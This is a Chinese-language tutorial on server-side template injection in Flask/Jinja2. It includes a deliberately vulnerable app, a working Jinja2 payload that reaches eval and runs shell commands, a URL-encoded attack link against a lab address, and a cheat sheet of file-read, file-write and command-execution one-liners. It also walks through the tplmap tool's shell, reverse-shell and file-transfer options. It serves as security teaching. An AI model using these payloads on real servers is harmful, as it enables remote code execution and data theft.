1. 程式人生 > 實用技巧 >SSTI-服務端模板注入

SSTI-服務端模板注入

SSTI-服務端模板注入漏洞

原理

服務端模板注入是由於服務端接收了使用者的輸入,將其作為 Web 應用模板內容的一部分,在進行目標編譯渲染的過程中,執行了使用者插入的惡意內容,因而導致了敏感資訊洩露、程式碼執行、GetShell 等問題。

其影響範圍主要取決於模版引擎的複雜性。

模板引擎

模板引擎(這裡特指用於Web開發的模板引擎)是為了使使用者介面與業務資料(內容)分離而產生的,它可以生成特定格式的檔案,用於網站的模板引擎就會生成一個標準的HTML檔案。

參考:https://baike.baidu.com/item/%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E/907667?fr=aladdin

Flask(Jinja2)服務端模板注入

Jinja2是用於Python的全功能模板引擎。它具有完整的unicode支援,一個可選的整合沙盒執行環境,已被廣泛使用並獲得BSD許可。 Jinja2由Django或Flask之類的Python Web框架使用。

Jinja官方網站:

https://jinja.palletsprojects.com/en/2.11.x/

實驗測試:

flask ssti漏洞的程式碼:
from flask import Flask, request

from jinja2 import Template

app = Flask(__name__)

@app.route("/")

def index():

name = request.args.get('name', 'guest')

t = Template("Hello " + name)

return t.render()

if __name__ == "__main__":

訪問:http://192.168.81.128:8000/

傳入引數:?name={{6*7}},可以得到如下結果,說明存在SSTI漏洞。

在python裡要執行系統命令需要import os模組。

想要在模板中直接呼叫內建模組 os,即需要在模板環境中對其註冊

需要在上面的程式碼里加一句:

t.globals['os'] = os

如果沒有加這一句,直接使用os中的方法會報錯。

那麼,如何在未註冊 os 模組的情況下在模板中呼叫 popen() 函式執行系統命令呢?這就用到各種下劃線函式了。

>>> [].__class__

<type 'list'>

>>> [].__class__.__base__

<type 'object'>

>>> [].__class__.__base__.__subclasses__()

class:用來檢視變數所屬的類,根據前面的變數形式可以得到其所屬的類。

bases:用來檢視類的基類,也可是使用陣列索引來檢視特定位置的值

subclasses():檢視當前類的子類。直接用object.subclasses(),也會得到和一樣的結果。

由此可以訪問到很多其他模組,os模組自然也可以這樣訪問到。

訪問os模組需要從warnings.catch_warnings模組入手的。看一下catch_warnings在哪個位置。

>>> import warnings

>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

當我們獲取了位置後,再用func_global看看該模組有哪些global函式

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()

這裡能看到linecache,我們要訪問的os模組就在這裡,看看這個模組的各種屬性:

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__

接下來就可以使用os模組了。

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].system('id')

漏洞利用

獲取eval函式並執行任意python程式碼的POC如下:

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if 'eval' in b.keys() %}

{{ b['eval']('__import__("os").popen("id").read()') }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

訪問如下連結:

 http://192.168.81.128:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

得到執行結果:

檢視/etc/passwd

xss:name引數的值直接通過get請求獲取,並未做任何的處理,可以直接注入xss程式碼。

Python進行檔案讀寫/命令執行的常用命令

//獲取基本類

''.__class__.__mro__[1]

{}.__class__.__bases__[0]

().__class__.__bases__[0]

[].__class__.__bases__[0]

object

//讀檔案

().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

object.__subclasses__()[40](r'C:\1.php').read()

//寫檔案

().__class__.__bases__[0].__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

object.__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

//執行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("dir").read()' )

object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ipconfig").read()' )

SSTI測試工具–Tplmap

GitHub:https://github.com/epinna/tplmap

幫助資訊
C:\Users\hu1ge\Desktop\tplmap>cmd /k python2 tplmap.py -h

Usage: python tplmap.py [options]

Options:

-h, --help Show help and exit.

Target:

These options have to be provided, to define the target URL.

-u URL, --url=URL Target URL.

-X REQUEST, --re.. Force usage of given HTTP method (e.g. PUT).

Request:

These options have how to connect and where to inject to the target

URL.

-d DATA, --data=.. Data string to be sent through POST. It must be as

query string: param1=value1&param2=value2.

-H HEADERS, --he.. Extra headers (e.g. 'Header1: Value1'). Use multiple

times to add new headers.

-c COOKIES, --co.. Cookies (e.g. 'Field1=Value1'). Use multiple times to

add new cookies.

-A USER_AGENT, -.. HTTP User-Agent header value.

--proxy=PROXY Use a proxy to connect to the target URL

Detection:

These options can be used to customize the detection phase.

--level=LEVEL Level of code context escape to perform (1-5, Default:

1).

-e ENGINE, --eng.. Force back-end template engine to this value.

-t TECHNIQUE, --.. Techniques R(endered) T(ime-based blind). Default: RT.

Operating system access:

These options can be used to access the underlying operating system.

--os-cmd=OS_CMD Execute an operating system command.

--os-shell Prompt for an interactive operating system shell.

--upload=UPLOAD Upload LOCAL to REMOTE files.

--force-overwrite Force file overwrite when uploading.

--download=DOWNL.. Download REMOTE to LOCAL files.

--bind-shell=BIN.. Spawn a system shell on a TCP PORT of the target and

connect to it.

--reverse-shell=.. Run a system shell and back-connect to local HOST

PORT.

Template inspection:

These options can be used to inspect the template engine.

--tpl-shell Prompt for an interactive shell on the template

engine.

--tpl-code=TPL_C.. Inject code in the template engine.

General:

These options can be used to set some general working parameters.

--force-level=FO.. Force a LEVEL and CLEVEL to test.

--injection-tag=.. Use string as injection tag (default '*').

Example:

./tplmap -u 'http://www.target.com/page.php?id=1*'
模板注入測試
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge"

[+] Tplmap 0.5

Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable

[+] Smarty plugin is testing rendering with tag '*'

[+] Smarty plugin is testing blind injection

[+] Mako plugin is testing rendering with tag '${*}'

[+] Mako plugin is testing blind injection

[+] Python plugin is testing rendering with tag 'str(*)'

[+] Python plugin is testing blind injection

[+] Tornado plugin is testing rendering with tag '{{*}}'

[+] Tornado plugin is testing blind injection

[+] Jinja2 plugin is testing rendering with tag '{{*}}'

[+] Jinja2 plugin has confirmed injection with tag '{{*}}'

[+] Tplmap identified the following injection point:

GET parameter: name   //注入引數:name

Engine: Jinja2    //使用的模板引擎

Injection: {{*}}    //注入方法

Context: text

OS: posix-linux

Technique: render

Capabilities:

Shell command execution: ok   //檢驗當前環境可使用的利用方法

Bind and reverse shell: ok

File write: ok

File read: ok

Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

--os-shell   在目標上執行shell

--os-cmd   執行shell命令

--bind-shell PORT   連線到目標埠的shell繫結

--reverse-shell HOST PORT   將shell傳送回攻擊者的埠

--upload LOCAL REMOTE   將檔案上載到伺服器

--download REMOTE LOCAL   下載遠端檔案
--os-cmd 執行命令
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-cmd whoami

--os-shell 直接獲取互動式shell環境

C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-shell

參考連結: